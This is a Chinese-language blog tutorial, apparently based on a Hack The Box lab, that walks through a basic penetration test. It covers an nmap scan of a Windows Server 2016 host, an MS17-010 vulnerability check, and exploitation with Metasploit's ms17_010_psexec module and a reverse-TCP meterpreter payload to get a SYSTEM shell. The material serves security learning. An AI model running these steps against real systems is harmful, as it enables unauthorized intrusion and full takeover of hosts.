在開始今天的滲透測試範例介紹之前,不知道大家還記得筆者在 Metasploit 偵測規避小幫手 介紹的「使用步驟」嗎?
其實上面說的步驟,就是滲透測試的經典步驟!
幫大家複習一下,大致上會經過以下的步驟:
其實說句白話文,就是「找出目標、找出對方弱點、想辦法獲得權限攻擊、攻擊!」阿捏XD
假設目標 ip 為 10.129.201.97
使用 Nmap 執行掃描來枚舉目標主機的端口和服務。
nmap -v -A 10.129.201.97
此處的 -A 參數開啟服務檢測、操作系統檢測和腳本掃描。
找一下開放端口~ 也就是 STATE 為 open 的,在此範例我們找到這些:
PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 10.129.201.97 - /
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
開放端口:135(msrpc)、80(IIS Web 服務)、445(SMB)。
系統版本:Windows Server 2016 Standard 14393。
已知服務:IIS、SMB 服務、NetBIOS。
筆者 say say 念:
至於此處的 IIS、SMB、NetBIOS 是什麼,筆者會在之後的補充章節中介紹。
如果大家有興趣,也可以先參考 AWS 提供的 SMB 介紹:
[NFS & SMB](https://aws.amazon.com/tw/compare/the-difference-between-nfs-smb/#:~:text=%E7%B6%B2%E8%B7%AF%E6%AA%94%E6%A1%88%E7%B3%BB%E7%B5%B1%20(NF)
列出可能的攻擊路徑:
可能通過 IIS 利用 Web 漏洞。
如果有憑證,可以通過 SMB 驗證進行滲透,也可以利用 MS17-010 (EternalBlue)。
MS17-010:
確認主機的版本處於易受 EternalBlue 攻擊的範圍內(Windows Server 2008 至 2016)。
漏洞驗證:
進入 msfconsole ~
msfconsole
使用 Metasploit 內建的 auxiliary/scanner/smb/smb_ms17_010 模塊來檢查目標是否易受 MS17-010 (EternalBlue) 漏洞的攻擊。
use auxiliary/scanner/smb/smb_ms17_010
接著,列出目前的 options:
show options
設定目標主機:
set RHOSTS 10.129.201.97
run:
run
最後看看是否有 VULNERABLE 關鍵字,確認是否容易受此攻擊~
在確認存在此漏洞後,找一下可以用的 exploit ~
使用 Metasploit 搜索 External ~
此處選擇 ms17_010_psexec 作為 Exploit,這是一個常用的利用 EternalBlue 漏洞進行遠程代碼執行的 Exploit。
搜尋:
msf6 > search eternal
Matching Modules
================
   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   2  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   3  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   4  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
使用:
use 2
查看一般的配置 ~
查看一般配置的 RHOSTS & RPORT & LHOST & LPORT ~
options
讀者可以使用 set <PARAM> <VALUE> 的方式進行設定,如 RHOSTS 設定成目標主機 IP,RPORT 是目標 IP 的目標 PORT ~LHOST 則是攻擊者本身的 IP
使用 show options 來查看目前的配置
show options
目前為了保持簡單,先維持目前預設的 Payload ,也就是 windows/meterpreter/reverse_tcp,這是一個反向 TCP Shell,允許攻擊者連接回來並控制目標主機。
運行 Exploit 後,成功獲取目標系統的 SYSTEM 權限。
exploit
接著,會看到 Meterpreter 會話已打開,並進入 meterpreter > 提示符,這表明攻擊成功 ~
使用 getuid 命令確認當前用戶是的系統權限。
meterpreter > getuid
若讀者看到 Server username: NT AUTHORITY\SYSTEM,就是指你目前身分擁有系統最高的權限~
meterpreter > shell
接著就可以進入 Windows 主機的 SHELL 了 ~
今天大致上介紹了簡單的滲透測試步驟以及範例
希望大家對滲透測試有初步理解
對在什麼時機點使用 Metasploit 有點想法 ~
筆者會繼續努力每天學習,並且把所學分享給大家
預計這系列會一直繼續,畢竟資安水很深 XD
https://academy.hackthebox.com/